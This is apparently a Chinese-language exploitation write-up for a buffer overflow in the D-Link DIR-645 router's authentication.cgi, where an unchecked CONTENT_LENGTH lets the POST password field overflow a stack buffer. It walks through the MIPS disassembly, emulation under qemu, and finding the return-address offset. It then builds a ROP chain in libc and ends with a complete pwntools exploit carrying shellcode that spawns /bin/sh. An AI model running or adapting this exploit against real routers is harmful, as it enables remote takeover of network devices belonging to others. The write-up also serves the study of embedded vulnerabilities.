D-Link authentiction 緩沖區(qū)溢出漏洞
漏洞介紹
D-Link DIR-645中authentiction.cgi在讀取POST“password”參數(shù)時存在緩沖區(qū)溢出漏洞。
漏洞分析
在authenticationcgi_main函數(shù)中:
loc_40B454:
la $t9, strcmp
move $a0, $s1 # s1
jalr $t9 ; strcmp
addiu $a1, (aPost - 0x420000) # "POST"
lw $gp, 0xF90+var_F78($sp)
bnez $v0, loc_40BC9C # v0 = 0 請求方式為POST,不跳轉(zhuǎn)
move $a1, $zero # c
該函數(shù)通過loc_40B454判斷請求類型是否為POST,當(dāng)請求為POST時進(jìn)入以下分支,獲取環(huán)境變量的值:
la $t9, memset
li $a2, 0x184 # n
jalr $t9 ; memset #申請大小為0x184的內(nèi)存,初始化為0
move $a0, $s3 # s
lw $gp, 0xF90+var_F78($sp)
lui $a0, 0x42 # 'B'
la $t9, getenv
nop
jalr $t9 ; getenv
la $a0, aContent_type # "CONTENT_TYPE"
lw $gp, 0xF90+var_F78($sp)
lui $a0, 0x42 # 'B'
la $t9, getenv
la $a0, aContent_length # "CONTENT_LENGTH"
jalr $t9 ; getenv
move $s0, $v0 # 這里的v0是上一個函數(shù)getenv("CONTENT_TYPE")的返回結(jié)果
lw $gp, 0xF90+var_F78($sp)
beqz $s0, loc_40B610 # 判斷CONTENT_TYPE,s0=0 跳轉(zhuǎn)結(jié)束函數(shù)
addiu $a0, $sp, 0xF90+var_938
beqz $v0, loc_40B614 #這里的v0為CONTENT_LENGTH的值,為0則跳轉(zhuǎn)結(jié)束函數(shù)
addiu $a1, $sp, 0xF90+var_E1C
通過getnev函數(shù)或取環(huán)境變量CONTENT_TYPE、CONTENT_LENGT的值后,通過read函數(shù)獲取post傳遞的參數(shù):
la $t9, atoi
nop
jalr $t9 ; atoi
move $a0, $v0 # nptr
lw $gp, 0xF90+var_F78($sp)
move $s0, $v0 # 獲取轉(zhuǎn)換為int類型的length
la $v1, stdin
la $t9, fileno
lw $a0, (stdin - 0x4353CC)($v1) # stream
jalr $t9 ; fileno #獲取文件描述符,通過v0傳遞給下面read函數(shù)
addiu $s1, $sp, 0xF90+var_430 # 棧緩沖區(qū)
lw $gp, 0xF90+var_F78($sp)
move $a0, $v0 # fd,設(shè)置文件描述符
la $t9, read
move $a1, $s1 # 設(shè)置緩沖區(qū)
jalr $t9 ; read
move $a2, $s0 # nbytes from length,需要讀取的長度 漏洞出現(xiàn)在這里, 沒有對content_length的值進(jìn)行驗(yàn)證,當(dāng)length超長時將造成緩沖區(qū)溢出
bltz $v0, loc_40B60C
addu $v0, $s1, $s0
上述過程在read讀取傳遞的數(shù)據(jù)時,使用了未作長度限制的CONTENT_LENGTH的值造成了緩沖區(qū)溢出。
漏洞利用
測試腳本
run.sh
#!/bin/bash
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
echo "$INPUT" | sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR='192.168.1.1' -g 1234 ./htdocs/web/authentication.cgi
確定偏移
經(jīng)測試發(fā)現(xiàn)當(dāng)字符串過長時,會使getenv函數(shù)無法正常工作,使得無法控制ra寄存器的值。
使用pattern.py創(chuàng)建1100個字符串填充password字段,確定偏移:
cat auth
id=1234&password=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
./run.sh `cat auth` uid=1234
確定ra偏移為1051
創(chuàng)建ROP
IDA加載lib下的libc.so.0動態(tài)連接庫,然后通過ropmips工具尋找rop鏈。
libc.s0.0為動態(tài)加載,需要確定基地址,可使用gdb的vmmap確定基地址,或通過執(zhí)行過程中的libc函數(shù)地址減去偏移確定基地址。
ROP鏈思路:
1.a0 = 1
2.調(diào)用sleep()
3.shellcode位置確定
4.調(diào)用棧上shellcode
1.a0 = 1
通過mipsrop.find("li $a0,1")尋找到a0賦值為1的gadget,地址為0x0002F0F8:
s4寄存填充為下一條gadget地址
2.調(diào)用sleep()
.調(diào)用sleep(),通過mipsrop.tail()尋找函數(shù)調(diào)用gadget,找到地址為0x00024CEC:
s1寄存器填充為sleep函數(shù)的地址,根據(jù)lw $ra, 0x28+var_4($sp),ra為sleep函數(shù)執(zhí)行后的返回地址,填充為下一條gadget地址。
3.shellcode位置確定
使用mipsrop.stackfinder() 尋找棧上shellcode保存的gadget,找到地址為0x0000B814:
shellcode填充位置為sp+0x18,并將地址保存到a1寄存器,s1填充下一條gadget地址。
4.調(diào)用棧上shellcode
調(diào)用shellcode,現(xiàn)在shellcode地址在a1寄存器,通過mipsrop.find("move a1")尋找調(diào)用shellcode的gadget,找到地址為0x00037E6C:
完整exp
from pwn import *
sleep_addr = 0x00056BD0
base_addr = 0x76738000
rop1 =0x0002F0F8
rop2 =0x00024CEC
rop3 =0x0000B814
rop4 =0x00037E6C
shellcode="\xff\xff\x06\x28"
shellcode+="\xff\xff\xd0\x04"
shellcode+="\xff\xff\x05\x28"
shellcode+="\x01\x10\xe4\x27"
shellcode+="\x0f\xf0\x84\x24"
shellcode+="\xab\x0f\x02\x24"
shellcode+="\x0c\x01\x01\x01"
shellcode+="/bin/sh"
payload = 'id=1234&password='
payload += 'a'*1019
payload += p32(sleep_addr+base_addr) #s1
payload += 'a'*4
payload += p32(rop2+base_addr) #s3 測試發(fā)現(xiàn)s3必須為一個存在的地址,所以隨意填寫一個存在的地址。
payload += p32(rop2+base_addr) #s4
payload += 'a'*16
payload += p32(rop1+base_addr) #ra
payload +='b'*0x1c
payload +=p32(rop4+base_addr) #s1
payload +='b'*4
payload +=p32(rop3+base_addr) #sleep -> ra
payload +='c'*0x18
payload +=shellcode
fp = open('content','wb')
fp.write(payload)
fp.close()